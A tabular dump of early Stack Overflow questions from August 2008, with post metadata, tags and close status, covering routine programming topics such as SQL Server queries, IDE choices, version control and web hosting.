PostId
int64
4
11.8M
PostCreationDate
stringlengths
19
19
OwnerUserId
int64
1
1.57M
OwnerCreationDate
stringlengths
10
19
ReputationAtPostCreation
int64
-55
461k
OwnerUndeletedAnswerCountAtPostTime
int64
0
21.5k
Title
stringlengths
3
250
BodyMarkdown
stringlengths
5
30k
Tag1
stringlengths
1
25
Tag2
stringlengths
1
25
Tag3
stringlengths
1
25
Tag4
stringlengths
1
25
Tag5
stringlengths
1
25
PostClosedDate
stringlengths
19
19
OpenStatus
stringclasses
5 values
unified_texts
stringlengths
32
30.1k
OpenStatus_id
int64
0
4
2,549
08/05/2008 16:37:28
136
08/02/2008 10:21:53
624
19
What is good forum software to add to an existing Rails application?
Should be easy to setup, and easy to couple application and forum users.
forum
ruby-on-rails
rubyonrails
null
null
null
open
What is good forum software to add to an existing Rails application? === Should be easy to setup, and easy to couple application and forum users.
0
2,550
08/05/2008 16:39:04
308
08/04/2008 14:34:46
165
10
What are effective options for embedding video in an ASP.NET web site?
A quick glance at the present-day internet would seem to indicate that Adobe Flash is the obvious choice for embedding video in a web page. Is this accurate, or are they other effective choices? Does the choice of ASP.NET as a platform influence this decision?
asp.net
flash
video
embedded
streaming
null
open
What are effective options for embedding video in an ASP.NET web site? === A quick glance at the present-day internet would seem to indicate that Adobe Flash is the obvious choice for embedding video in a web page. Is this accurate, or are they other effective choices? Does the choice of ASP.NET as a platform influence this decision?
0
2,556
08/05/2008 16:41:50
136
08/02/2008 10:21:53
624
19
What's the best online payment processing solution?
Should be available to non-U.S. companies, easy to setup, reliable, cheap, customizable, etc. What are your experiences?
payment
null
null
null
null
09/24/2011 23:44:03
not constructive
What's the best online payment processing solution? === Should be available to non-U.S. companies, easy to setup, reliable, cheap, customizable, etc. What are your experiences?
4
2,563
08/05/2008 16:47:28
307
08/04/2008 14:26:05
150
18
What is a good web-based Grid that accepts Excel clipboard data?
Any good recommendations for a platform agnostic (i.e. Javascript) grid control/plugin that will accept pasted Excel data and can emit Excel-compliant clipboard data during a Copy? I believe Excel data is formatted as CSV during "normal" clipboard operations.
excel
csv
clipboard
grid
null
null
open
What is a good web-based Grid that accepts Excel clipboard data? === Any good recommendations for a platform agnostic (i.e. Javascript) grid control/plugin that will accept pasted Excel data and can emit Excel-compliant clipboard data during a Copy? I believe Excel data is formatted as CSV during "normal" clipboard operations.
0
2,573
08/05/2008 16:54:21
204
08/03/2008 13:27:56
183
9
vim Tutorials
I want to start using vim as my text editor for PHP, what do you guys suggest as good tutorials for not only using vim but also in a project sense?
vim
text-editor
ide
null
null
null
open
vim Tutorials === I want to start using vim as my text editor for PHP, what do you guys suggest as good tutorials for not only using vim but also in a project sense?
0
2,588
08/05/2008 17:07:16
423
08/05/2008 15:24:44
11
2
Appropriate pagefile size for SQL Server
Does any know a good rule of thumb for the appropriate pagefile size for a Windows 2003 server running SQL Server?
windows
sql-server
null
null
null
null
open
Appropriate pagefile size for SQL Server === Does any know a good rule of thumb for the appropriate pagefile size for a Windows 2003 server running SQL Server?
0
2,630
08/05/2008 18:01:32
17
08/01/2008 12:02:21
371
34
What are your favorite Powershell Cmdlets?
I just found /n softwares free Powershell NetCmdlets, and after playing with them I love the functionality they bring to the command line. So it begs the question what are your favorite Cmdlets, and how do you use them?
powershell
cmdlets
null
null
null
02/22/2012 01:58:23
not constructive
What are your favorite Powershell Cmdlets? === I just found /n softwares free Powershell NetCmdlets, and after playing with them I love the functionality they bring to the command line. So it begs the question what are your favorite Cmdlets, and how do you use them?
4
2,639
08/05/2008 18:07:26
434
08/05/2008 17:42:54
1
0
What are some web-based knowledge-base solutions?
I've used a WordPress blog and a Screwturn Wiki (at two separate jobs) to store private, company-specific KB info, but I'm looking for something that was created to be a knowledge base. Specifically, I'd like to see: - Free/low cost - Simple method for users to subscribe to KB (or just sections) to get updates - Ability to do page versioning/audit changes - Limit access to certain pages for certain users - Very simple method of posting/editing articles - Very simple method of adding images to articles - Excellent (fast, accurate) searching abilities - Ability to rate and comment on articles I liked using the Wordpress blog because it allowed me to use [Live Writer][1] to add/edit articles and images, but it didn't have page versioning (that I could see). I like using Screwturn wiki because of it's ability to track article versions, and I like it's clean look, but some non-technical people balk at the input and editing. [1]: http://get.live.com/
language-agnostic
planning
null
null
null
null
open
What are some web-based knowledge-base solutions? === I've used a WordPress blog and a Screwturn Wiki (at two separate jobs) to store private, company-specific KB info, but I'm looking for something that was created to be a knowledge base. Specifically, I'd like to see: - Free/low cost - Simple method for users to subscribe to KB (or just sections) to get updates - Ability to do page versioning/audit changes - Limit access to certain pages for certain users - Very simple method of posting/editing articles - Very simple method of adding images to articles - Excellent (fast, accurate) searching abilities - Ability to rate and comment on articles I liked using the Wordpress blog because it allowed me to use [Live Writer][1] to add/edit articles and images, but it didn't have page versioning (that I could see). I like using Screwturn wiki because of it's ability to track article versions, and I like it's clean look, but some non-technical people balk at the input and editing. [1]: http://get.live.com/
0
2,647
08/05/2008 18:15:47
383
08/05/2008 10:46:37
231
30
Split String in SQL
Using SQL Server 2005, how do I split a string so I can access item x. For example, take the string "Hello John Smith". How can I split the string by a space and access item 1 which should return "John"?
sql
null
null
null
null
null
open
Split String in SQL === Using SQL Server 2005, how do I split a string so I can access item x. For example, take the string "Hello John Smith". How can I split the string by a space and access item 1 which should return "John"?
0
2,649
08/05/2008 18:18:39
434
08/05/2008 17:42:54
6
0
What's the best way to determine if a temporary table exists in SQL Server?
When writing a T-SQL script that I plan on re-running, often times I use temporary tables to store temporary data. Since the temp table is created on the fly, I'd like to be able to drop that table only if it exists (before I create it). I'll post the method that I use, but I'd like to see if anyone else knows of a a better way.
sql-server
null
null
null
null
null
open
What's the best way to determine if a temporary table exists in SQL Server? === When writing a T-SQL script that I plan on re-running, often times I use temporary tables to store temporary data. Since the temp table is created on the fly, I'd like to be able to drop that table only if it exists (before I create it). I'll post the method that I use, but I'd like to see if anyone else knows of a a better way.
0
2,658
08/05/2008 18:29:14
406
08/05/2008 13:38:24
11
2
Version Control. Getting started...
So I know I need to implement version control, even for just the developing I do at home. My issue is I have read about how great Subversion is for the past couple years. I was about to dedicate myself to learning this on the side. But now I am starting to read about Git being the up and coming version control system. So should I hold of and see which one comes out on top? Are they both winners in certain areas? One issue I noticed with Git, is there is not much for a GUI, which is important to me. Also, wouldn't mind suggestions on how to get started with one or the other. (tutorials, etc.)
versioncontrol
subversion
git
null
null
null
open
Version Control. Getting started... === So I know I need to implement version control, even for just the developing I do at home. My issue is I have read about how great Subversion is for the past couple years. I was about to dedicate myself to learning this on the side. But now I am starting to read about Git being the up and coming version control system. So should I hold of and see which one comes out on top? Are they both winners in certain areas? One issue I noticed with Git, is there is not much for a GUI, which is important to me. Also, wouldn't mind suggestions on how to get started with one or the other. (tutorials, etc.)
0
2,688
08/05/2008 18:45:46
432
08/05/2008 17:18:46
21
4
What all do I need to escape when sending a (My)SQL query?
When you execute a SQL query, you have to clean your 'strings' or users can execute malicious SQL on your website. I usually just have a function escape_string(blah), which: - Replaces escapes (\) with double escapes (\\). - Replaces single quotes (') with an escaped single quote (\'). Is this adequate? Is there a hole in my code? Speedy library to reliably do this for me?
mysql
security
null
null
null
null
open
What all do I need to escape when sending a (My)SQL query? === When you execute a SQL query, you have to clean your 'strings' or users can execute malicious SQL on your website. I usually just have a function escape_string(blah), which: - Replaces escapes (\) with double escapes (\\). - Replaces single quotes (') with an escaped single quote (\'). Is this adequate? Is there a hole in my code? Speedy library to reliably do this for me?
0
2,702
08/05/2008 18:55:35
357
08/05/2008 01:29:23
31
3
How do I use T-SQL Group By
I know I need to have (although I don't know why) an Order By clause on the end of a SQL query that uses any aggregate functions like count, sum, avg, etc: select count(userID), userName from users group by userName When else would GROUP BY be useful, and what are the performance ramifications?
sql
null
null
null
null
null
open
How do I use T-SQL Group By === I know I need to have (although I don't know why) an Order By clause on the end of a SQL query that uses any aggregate functions like count, sum, avg, etc: select count(userID), userName from users group by userName When else would GROUP BY be useful, and what are the performance ramifications?
0
2,709
08/05/2008 19:06:40
434
08/05/2008 17:42:54
26
2
How can you tell when a user last pressed a key (or moved the mouse)?
In a Win32 environment, you can use the GetLastInputInfo API call [see msdn doc][1]. Basically, this method returns the last tick that corresponds with when the user last provided input, and you have to compare that to the current tick to determine how long ago that was. Xavi23cr has a good example for C# at [codeproject][2]. Any suggestions for other environments? [1]: http://msdn.microsoft.com/en-us/library/ms646302(VS.85).aspx [2]: http://www.codeproject.com/KB/cs/GetIdleTimeWithCS.aspx
language-agnostic
windows-api
null
null
null
null
open
How can you tell when a user last pressed a key (or moved the mouse)? === In a Win32 environment, you can use the GetLastInputInfo API call [see msdn doc][1]. Basically, this method returns the last tick that corresponds with when the user last provided input, and you have to compare that to the current tick to determine how long ago that was. Xavi23cr has a good example for C# at [codeproject][2]. Any suggestions for other environments? [1]: http://msdn.microsoft.com/en-us/library/ms646302(VS.85).aspx [2]: http://www.codeproject.com/KB/cs/GetIdleTimeWithCS.aspx
0
2,711
08/05/2008 19:08:47
45
08/01/2008 13:04:45
61
4
What sites offer free quality web site design templates?
Let's aggregate a list of free quality web site design templates. There are a million of these sites out there, but most are repetitive and boring. I'll start with [freeCSStemplates.org][1] I also think other sites should follow some sort of standards, for example here are freeCSStemplates standards - Released for FREE under the Creative Commons Attribution 2.5 license - Very lightweight in terms of images - Tables-free (ie. they use no tables for layout purposes) - W3C standards compliant and valid (XHTML Strict) - Provided with public domain photos, generously provided by PDPhoto.org and Wikimedia Commons [1]: http://www.freecsstemplates.org/
css
null
null
null
null
null
open
What sites offer free quality web site design templates? === Let's aggregate a list of free quality web site design templates. There are a million of these sites out there, but most are repetitive and boring. I'll start with [freeCSStemplates.org][1] I also think other sites should follow some sort of standards, for example here are freeCSStemplates standards - Released for FREE under the Creative Commons Attribution 2.5 license - Very lightweight in terms of images - Tables-free (ie. they use no tables for layout purposes) - W3C standards compliant and valid (XHTML Strict) - Provided with public domain photos, generously provided by PDPhoto.org and Wikimedia Commons [1]: http://www.freecsstemplates.org/
0
2,714
08/05/2008 19:10:52
434
08/05/2008 17:42:54
26
2
I need to know how much disk space a table is using in SQL Server
I think most people know how to do this via the GUI (right click table, properties), but doing this in T-SQL totally rocks.
sql-server
null
null
null
null
null
open
I need to know how much disk space a table is using in SQL Server === I think most people know how to do this via the GUI (right click table, properties), but doing this in T-SQL totally rocks.
0
2,717
08/05/2008 19:11:57
342
08/04/2008 19:59:52
61
10
Organizing Documents
I’ve got a lot of PDFs/CHMs and they are getting out of control. So I’ve decided to do something about it. First I hit Google and didn’t get very far - the range of programs are very naff. Then I hit [metafilter][1] and got a lot more results. From there I learnt there is a lot of programs that do exactly what I want, look stylish and some are even free, but unfortunately they are all written for the Mac, except one that doesn’t do what I want (it does it all online I want it offline). All I want is a program that you can point at a directory and that will plow through them and list your documents. It can make guesses at content by keyword and the list the abstract (if it has one of course) and allow me to tag it. For instance, does the PDF book [Pragmatic Unit Testing in C#][2] belong in Unit Testing folder, the C# folder or the Pragmatic Bookshelf folder? It doesn’t it belongs in all three. Apparently iTunes does what I want it to, but I don’t want to install a music program to organize my PDF’s - it doesn’t seem right… Your suggestions? [1]: http://www.metafilter.com/ [2]: http://www.pragprog.com/titles/utc2/pragmatic-unit-testing-in-c-with-nunit-2nd-ed
pdf
organizing
chm
null
null
08/21/2011 07:49:28
off topic
Organizing Documents === I’ve got a lot of PDFs/CHMs and they are getting out of control. So I’ve decided to do something about it. First I hit Google and didn’t get very far - the range of programs are very naff. Then I hit [metafilter][1] and got a lot more results. From there I learnt there is a lot of programs that do exactly what I want, look stylish and some are even free, but unfortunately they are all written for the Mac, except one that doesn’t do what I want (it does it all online I want it offline). All I want is a program that you can point at a directory and that will plow through them and list your documents. It can make guesses at content by keyword and the list the abstract (if it has one of course) and allow me to tag it. For instance, does the PDF book [Pragmatic Unit Testing in C#][2] belong in Unit Testing folder, the C# folder or the Pragmatic Bookshelf folder? It doesn’t it belongs in all three. Apparently iTunes does what I want it to, but I don’t want to install a music program to organize my PDF’s - it doesn’t seem right… Your suggestions? [1]: http://www.metafilter.com/ [2]: http://www.pragprog.com/titles/utc2/pragmatic-unit-testing-in-c-with-nunit-2nd-ed
2
2,729
08/05/2008 19:24:58
92
08/01/2008 17:55:41
647
17
What Hosting Service is best for Django applications?
I have been using django a great deal lately and would like to find a home to host my apps. What is the **best** django web host? (*Official django support preferred*) Which service has the lowest price (*without a long contract*)?
python
django
web-applications
hosting
null
null
open
What Hosting Service is best for Django applications? === I have been using django a great deal lately and would like to find a home to host my apps. What is the **best** django web host? (*Official django support preferred*) Which service has the lowest price (*without a long contract*)?
0
2,732
08/05/2008 19:26:00
75
08/01/2008 15:54:25
1
0
Shell scripting input redirection oddities
Can anyone explain this behavior? Running: #!/bin/sh echo "hello world" | read var1 var2 echo $var1 echo $var2 results in nothing being ouput, while: #!/bin/sh echo "hello world" > test.file read var1 var2 < test.file echo $var1 echo $var2 produces the expected output: hello world Shouldn't the pipe do in one step what the redirection to test.file did in the second example? I tried the same code with both the dash and bash shells and got the same behavior from both of them.
shell
bash
dash
null
null
null
open
Shell scripting input redirection oddities === Can anyone explain this behavior? Running: #!/bin/sh echo "hello world" | read var1 var2 echo $var1 echo $var2 results in nothing being ouput, while: #!/bin/sh echo "hello world" > test.file read var1 var2 < test.file echo $var1 echo $var2 produces the expected output: hello world Shouldn't the pipe do in one step what the redirection to test.file did in the second example? I tried the same code with both the dash and bash shells and got the same behavior from both of them.
0
2,742
08/05/2008 19:39:19
304
08/04/2008 13:54:38
49
7
Setting up an Erlang development environment
I'm interested in looking at Erlang and want to follow the path of least resistance in getting up and running. At present, I'm planning on installing [Erlang R12B-3][1] and [Erlide][2] ([Eclipse][3] plugin). This is largely a Google-result-based decision. Initially this will be on a Windows XP system, though I am likely to reproduce the environment on Ubuntu shortly after. Is there a significantly better choice? Even if it is tied to one platform. Please share your experiences. [1]: http://www.erlang.org/download.html [2]: http://erlide.sourceforge.net/ [3]: http://www.eclipse.org/
ide
erlang
null
null
null
null
open
Setting up an Erlang development environment === I'm interested in looking at Erlang and want to follow the path of least resistance in getting up and running. At present, I'm planning on installing [Erlang R12B-3][1] and [Erlide][2] ([Eclipse][3] plugin). This is largely a Google-result-based decision. Initially this will be on a Windows XP system, though I am likely to reproduce the environment on Ubuntu shortly after. Is there a significantly better choice? Even if it is tied to one platform. Please share your experiences. [1]: http://www.erlang.org/download.html [2]: http://erlide.sourceforge.net/ [3]: http://www.eclipse.org/
0
2,750
08/05/2008 19:51:29
435
08/05/2008 17:58:35
1
2
Data verifications in Getter/Setter or elsewhere ?
I'm wondering if it's a good idea to make **verifications** in **getters** and **setters** or elsewhere in the code. This might surprise you be when it comes to **optimizations** and **speed-ing** up the code, I think you should not made verifications in getters and setters but in the code where your're **updating** your files or database. Am I wrong ?
optimization
data
getter
setter
verification
null
open
Data verifications in Getter/Setter or elsewhere ? === I'm wondering if it's a good idea to make **verifications** in **getters** and **setters** or elsewhere in the code. This might surprise you be when it comes to **optimizations** and **speed-ing** up the code, I think you should not made verifications in getters and setters but in the code where your're **updating** your files or database. Am I wrong ?
0
2,756
08/05/2008 19:57:11
431
08/05/2008 17:00:01
46
7
Lightweight IDE for Linux
Even though I have a robust and fast computer (Pentium Dual Core 2.0 with 2Gb RAM), I'm always searching for lightweight software to have on it, so it runs fast even when many apps are up and running simultaneously. On the last few weeks I've been migrating gradually to Linux and want to install a free lightweight yet useful IDE to program on C++ and PHP. Sintax highlighting and code completition tips are must-haves. So, I'd like to receive some suggestions from you, guys.
c++
php
linux
ide
freeware
11/12/2011 13:39:05
not constructive
Lightweight IDE for Linux === Even though I have a robust and fast computer (Pentium Dual Core 2.0 with 2Gb RAM), I'm always searching for lightweight software to have on it, so it runs fast even when many apps are up and running simultaneously. On the last few weeks I've been migrating gradually to Linux and want to install a free lightweight yet useful IDE to program on C++ and PHP. Sintax highlighting and code completition tips are must-haves. So, I'd like to receive some suggestions from you, guys.
4
2,765
08/05/2008 20:01:31
443
08/05/2008 19:27:20
1
0
What is keyboard shortcut to view all open documents in Visual Studio 2008
I am trying to learn the keyboard shortcuts in Visual Studio in order to be more productive. So I downloaded a document showing many of the default keybindings in Visual Basic when using the VS 2008 IDE from Microsoft: http://www.microsoft.com/downloads/details.aspx?familyid=255b8cf1-f6bd-4b55-bb42-dd1a69315833&displaylang=en But, when I tried what they say is the keyboard shortcut to view all open documents (**CTRL + ALT + DOWN ARROW**) I got a completely unexpected result on my XP machine - my entire screen display was flipped upside down! Was this a prank by someone at Microsoft? I can't imagine what practical value this flipping of the screen would have. Does anyone know what the *correct* keyboard shortcut is to view all open documents in VS 2008? Oh and if you try the above shortcut and it flips your display the way it did mine, do a **CTRL + ALT + UP ARROW** to switch it back.
visual-studio
keyboard
shortcuts
null
null
null
open
What is keyboard shortcut to view all open documents in Visual Studio 2008 === I am trying to learn the keyboard shortcuts in Visual Studio in order to be more productive. So I downloaded a document showing many of the default keybindings in Visual Basic when using the VS 2008 IDE from Microsoft: http://www.microsoft.com/downloads/details.aspx?familyid=255b8cf1-f6bd-4b55-bb42-dd1a69315833&displaylang=en But, when I tried what they say is the keyboard shortcut to view all open documents (**CTRL + ALT + DOWN ARROW**) I got a completely unexpected result on my XP machine - my entire screen display was flipped upside down! Was this a prank by someone at Microsoft? I can't imagine what practical value this flipping of the screen would have. Does anyone know what the *correct* keyboard shortcut is to view all open documents in VS 2008? Oh and if you try the above shortcut and it flips your display the way it did mine, do a **CTRL + ALT + UP ARROW** to switch it back.
0
2,767
08/05/2008 20:02:33
396
08/05/2008 12:46:44
6
2
Do you have any recommended add-ons/plugins for Microsoft Visual Studio?
Freebies prefered, but if it is worth the cost....
microsoft
visual
studio
null
null
05/05/2012 13:39:51
not constructive
Do you have any recommended add-ons/plugins for Microsoft Visual Studio? === Freebies prefered, but if it is worth the cost....
4
2,770
08/05/2008 20:05:22
447
08/05/2008 19:55:45
1
0
Global Exception Handling
When working on ASP.NET 1.1 projects I always used the Global.asax to catch all errors. I'm looking for a similar way to catch all exceptions in a WinForms user control which ends up being a hosted IE control. What is the proper way to go about doing something like this?
winforms
error-handling
null
null
null
null
open
Global Exception Handling === When working on ASP.NET 1.1 projects I always used the Global.asax to catch all errors. I'm looking for a similar way to catch all exceptions in a WinForms user control which ends up being a hosted IE control. What is the proper way to go about doing something like this?
0
2,773
08/05/2008 20:06:18
422
08/05/2008 15:11:55
36
5
Xen - Can't get a Console to VMs
I've followed this otherwise [excellent tutorial][1] on getting Xen working with Ubuntu but am not able to get a console into my virtual machine (domU). I've got the `extra = '2 console=xvc0'` line in my /etc/xen/**hostname_here**.cfg file like they say, but am not able to get a console on it. If I statically assign an IP to the VM I can SSH to it, but for now I need to be able to use DHCP to give it an address (and since that's what I'm trying to debug, there's the problem). I know I've got a free DHCP address (although I'm getting more at the moment), so I don't think that's the problem. I've looked on Google and the Xen forums to no avail as well. Any ideas? [1]: http://howtoforge.com/ubuntu-8.04-server-install-xen-from-ubuntu-repositories
ubuntu
virtualization
xen
null
null
null
open
Xen - Can't get a Console to VMs === I've followed this otherwise [excellent tutorial][1] on getting Xen working with Ubuntu but am not able to get a console into my virtual machine (domU). I've got the `extra = '2 console=xvc0'` line in my /etc/xen/**hostname_here**.cfg file like they say, but am not able to get a console on it. If I statically assign an IP to the VM I can SSH to it, but for now I need to be able to use DHCP to give it an address (and since that's what I'm trying to debug, there's the problem). I know I've got a free DHCP address (although I'm getting more at the moment), so I don't think that's the problem. I've looked on Google and the Xen forums to no avail as well. Any ideas? [1]: http://howtoforge.com/ubuntu-8.04-server-install-xen-from-ubuntu-repositories
0
2,775
08/05/2008 20:08:38
434
08/05/2008 17:42:54
53
5
What's the BEST way to remove the time portion of a datetime value (SQL Server)
Here's what I use: SELECT CAST(FLOOR(CAST(getdate() as FLOAT)) as DATETIME) I'm thinking there may be a better/more elegant way. Requirements: - it has to be as fast as possible (the less casting the better) - final result has to be a datetime type, not a string
sql-server
null
null
null
null
null
open
What's the BEST way to remove the time portion of a datetime value (SQL Server) === Here's what I use: SELECT CAST(FLOOR(CAST(getdate() as FLOAT)) as DATETIME) I'm thinking there may be a better/more elegant way. Requirements: - it has to be as fast as possible (the less casting the better) - final result has to be a datetime type, not a string
0
2,778
08/05/2008 20:10:43
415
08/05/2008 14:37:16
1
3
Is it better to create Model classes, or just stick with generic database utility class?
We have a simple utility class in-house for our database calls (a light wrapper around ADO.Net), but I am thinking of creating classes for each database/object. Would it be smart to do so, or would it only benefit if we were using the full MVC framework for ASP.Net? So we have this: SQLWrapper.GetRecordset(connstr-alias, sql-statement, parameters); SQLWrapper.GetDataset(connstr-alias, sql-statement, parameters); SQLWrapper.Execute(connstr-alias, sql-statement, parameters); Thinking of doing this: Person p = Person.get(id); p.fname = "jon"; p.lname = "smith"; p.Save(); or for a new record - Person p = new Person(); p.fname = "Jon"; p.lname = "Smith"; p.Save(); p.Delete(); Would this be smart, or would it be overkill. I can see the benefit for reuse, changing database, and maintenance/readability.
asp.net
asp.net-mvc
database
null
null
null
open
Is it better to create Model classes, or just stick with generic database utility class? === We have a simple utility class in-house for our database calls (a light wrapper around ADO.Net), but I am thinking of creating classes for each database/object. Would it be smart to do so, or would it only benefit if we were using the full MVC framework for ASP.Net? So we have this: SQLWrapper.GetRecordset(connstr-alias, sql-statement, parameters); SQLWrapper.GetDataset(connstr-alias, sql-statement, parameters); SQLWrapper.Execute(connstr-alias, sql-statement, parameters); Thinking of doing this: Person p = Person.get(id); p.fname = "jon"; p.lname = "smith"; p.Save(); or for a new record - Person p = new Person(); p.fname = "Jon"; p.lname = "Smith"; p.Save(); p.Delete(); Would this be smart, or would it be overkill. I can see the benefit for reuse, changing database, and maintenance/readability.
0
2,780
08/05/2008 20:12:20
45
08/01/2008 13:04:45
71
4
ARBG to RGB
Let's say that we have an ARGB color Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. When this is painted on top of an existing color, the colors will blend. So blended with white, the resulting color is Color.FromARGB(255, 162, 133, 255); The solution should work like this Color blend = Color.White; Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. Color rgb = ToRGB(argb, blend); //Same as Color.FromARGB(255, 162, 133, 255); What is ToRGB's implementation?
c#
colors
null
null
null
null
open
ARBG to RGB === Let's say that we have an ARGB color Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. When this is painted on top of an existing color, the colors will blend. So blended with white, the resulting color is Color.FromARGB(255, 162, 133, 255); The solution should work like this Color blend = Color.White; Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. Color rgb = ToRGB(argb, blend); //Same as Color.FromARGB(255, 162, 133, 255); What is ToRGB's implementation?
0
2,785
08/05/2008 20:14:10
33
08/01/2008 12:32:10
119
11
Setting Objects to Null/Nothing after use in Dot Net
I understand that it in dot net it is essential to dispose of any instances of objects that implement the Idisposable interface to release resources. I also Know that when an object goes out of scope it is marked for collection ready for the next pass of the garbage collector (although this may take time). However my question is should you set all the objects to null (nothing in vb.net) once you have finished with them? Will this speed up the system releasing the memory as it does not have to work out that it is no longer in scope? MSDN articles never do this in examples and currently I do this as I cannot see the harm however I have come across a mixture of opinions so any comments are useful.
dotnet
c#
vb.net
memory
null
null
open
Setting Objects to Null/Nothing after use in Dot Net === I understand that it in dot net it is essential to dispose of any instances of objects that implement the Idisposable interface to release resources. I also Know that when an object goes out of scope it is marked for collection ready for the next pass of the garbage collector (although this may take time). However my question is should you set all the objects to null (nothing in vb.net) once you have finished with them? Will this speed up the system releasing the memory as it does not have to work out that it is no longer in scope? MSDN articles never do this in examples and currently I do this as I cannot see the harm however I have come across a mixture of opinions so any comments are useful.
0
2,786
08/05/2008 20:15:22
404
08/05/2008 13:34:59
16
4
What's the best setup for Mono development on Windows?
I started trying to play with Mono, mostly for fun at the moment. I first tried to use the VS plugin that will convert a csproj into a makefile, but there seemed to be no version available for VS2005. I also read about the MonoDevelop IDE, which sounded nice. Unfortunately, there's no pre-fab Windows package for it. I tried to follow some instructions to build it by combining dependencies from other semi-related installs. It didn't work, but that's probably because I'm a Windows-oriented guy and can barely spell "makefile". So, my question is this: what's the lowest-energy way to get up and running to try some Mono-based development on Windows? thanks! Chris
windows
mono
null
null
null
null
open
What's the best setup for Mono development on Windows? === I started trying to play with Mono, mostly for fun at the moment. I first tried to use the VS plugin that will convert a csproj into a makefile, but there seemed to be no version available for VS2005. I also read about the MonoDevelop IDE, which sounded nice. Unfortunately, there's no pre-fab Windows package for it. I tried to follow some instructions to build it by combining dependencies from other semi-related installs. It didn't work, but that's probably because I'm a Windows-oriented guy and can barely spell "makefile". So, my question is this: what's the lowest-energy way to get up and running to try some Mono-based development on Windows? thanks! Chris
0
2,798
08/05/2008 20:24:42
116
08/02/2008 05:51:57
595
45
Map Routing, a la Google Maps?
I've always been intrigued by Map Routing, but I've never found any good introductory (or even advanced!) level writeups talking about it. Does anybody have any pointers, hints, etc?
mapping
gis
null
null
null
null
open
Map Routing, a la Google Maps? === I've always been intrigued by Map Routing, but I've never found any good introductory (or even advanced!) level writeups talking about it. Does anybody have any pointers, hints, etc?
0
2,804
08/05/2008 20:28:30
328
08/04/2008 17:20:23
38
3
How should I translate from screen space coordinates to image space coordinates in a WinForms PictureBox?
I have an application that displays an image inside of a WinForms PictureBox control. The SizeMode of the control is set to Zoom so that the image contained in the picture box will be displayed in an aspect-correct way regardless of the dimensions of the PictureBox. This is great for the visual appearance of the application because you can size the window however you want and the image will always be displayed using its best fit. Unfortunately, I also need to handle mouse click events on the picture box and need to be able to translate from screen-space coordinates to image-space coordinates. It looks like it's easy to translate from screen space to control space, but I don't see any obvious way to translate from control space to image space (i.e. the pixel coordinate in the source image that has been scaled in the picture box). Is there an easy way to do this, or should I just duplicate the scaling math that they're using internally to position the image and do the translation myself?
c#
winforms
null
null
null
null
open
How should I translate from screen space coordinates to image space coordinates in a WinForms PictureBox? === I have an application that displays an image inside of a WinForms PictureBox control. The SizeMode of the control is set to Zoom so that the image contained in the picture box will be displayed in an aspect-correct way regardless of the dimensions of the PictureBox. This is great for the visual appearance of the application because you can size the window however you want and the image will always be displayed using its best fit. Unfortunately, I also need to handle mouse click events on the picture box and need to be able to translate from screen-space coordinates to image-space coordinates. It looks like it's easy to translate from screen space to control space, but I don't see any obvious way to translate from control space to image space (i.e. the pixel coordinate in the source image that has been scaled in the picture box). Is there an easy way to do this, or should I just duplicate the scaling math that they're using internally to position the image and do the translation myself?
0
2,809
08/05/2008 20:33:21
437
08/05/2008 18:13:45
1
1
SQL Server 2000: Is there a way to tell when a record was last modified?
The table doesn't have a timestamp field, obviously. :-)
sql-server
null
null
null
null
null
open
SQL Server 2000: Is there a way to tell when a record was last modified? === The table doesn't have a timestamp field, obviously. :-)
0
2,811
08/05/2008 20:35:56
448
08/05/2008 20:14:14
1
0
SQL 2005 For XML Explicit - Need help formatting
I have a table with a structure like the following: ------------------------------ LocationID | AccountNumber ------------------------------ long-guid-here | 12345 long-guid-here | 54321 To pass into another stored procedure, I need the XML to look like this: <root><clientID>12345</clientID><clientID>54321</clientID></root> The best I've been able to do so far was getting it like this: <root clientID="10705"/> I'm using this SQL statement: SELECT 1 as tag, null as parent, AccountNumber as 'root!1!clientID' FROM Location.LocationMDAccount WHERE locationid = 'long-guid-here' FOR XML EXPLICIT Thanks in advance for the help, and I look forward to using StackOverflow. So far, I've looked at the documentation on [the MSDN page](http://msdn.microsoft.com/en-us/library/ms345137.aspx), but I've not come out with the desired results.
sql
xml
sql2005
formatting
for-xml
null
open
SQL 2005 For XML Explicit - Need help formatting === I have a table with a structure like the following: ------------------------------ LocationID | AccountNumber ------------------------------ long-guid-here | 12345 long-guid-here | 54321 To pass into another stored procedure, I need the XML to look like this: <root><clientID>12345</clientID><clientID>54321</clientID></root> The best I've been able to do so far was getting it like this: <root clientID="10705"/> I'm using this SQL statement: SELECT 1 as tag, null as parent, AccountNumber as 'root!1!clientID' FROM Location.LocationMDAccount WHERE locationid = 'long-guid-here' FOR XML EXPLICIT Thanks in advance for the help, and I look forward to using StackOverflow. So far, I've looked at the documentation on [the MSDN page](http://msdn.microsoft.com/en-us/library/ms345137.aspx), but I've not come out with the desired results.
0
2,815
08/05/2008 20:38:59
116
08/02/2008 05:51:57
595
45
How to curl or wget a stackoverflow page?
I would like to make a nightly cron job that fetches my stackoverflow page and diffs it from the previous day's page, so I can see a change summary of my questions, answers, ranking, etc. Unfortunately, I couldn't get the right set of cookies, etc, to make this work. Any ideas? Also, when the beta is finished, will my status page be accessible without logging in?
stackoverflow
null
null
null
null
null
open
How to curl or wget a stackoverflow page? === I would like to make a nightly cron job that fetches my stackoverflow page and diffs it from the previous day's page, so I can see a change summary of my questions, answers, ranking, etc. Unfortunately, I couldn't get the right set of cookies, etc, to make this work. Any ideas? Also, when the beta is finished, will my status page be accessible without logging in?
0
2,826
08/05/2008 20:51:11
396
08/05/2008 12:46:44
18
2
Do you have any recommended add-ons/plugins for Eclipse?
Any great plugins out there, free or otherwise?
eclipse
null
null
null
null
null
open
Do you have any recommended add-ons/plugins for Eclipse? === Any great plugins out there, free or otherwise?
0
2,840
08/05/2008 20:57:00
383
08/05/2008 10:46:37
300
39
Paging SQL Server 2005 Results
How do I page results in SQL Server 2005? I SQL Server 2000, there was no reliable way todo this but I'm now wondering if SQL Server 2005 has any built in method. What I mean by paging is, for example, if I list users by their username, I want to be able to only return the first 10 records, then the next 10 records and so on. Any help would be much appriciated.
sql
paging
null
null
null
null
open
Paging SQL Server 2005 Results === How do I page results in SQL Server 2005? I SQL Server 2000, there was no reliable way todo this but I'm now wondering if SQL Server 2005 has any built in method. What I mean by paging is, for example, if I list users by their username, I want to be able to only return the first 10 records, then the next 10 records and so on. Any help would be much appriciated.
0
2,844
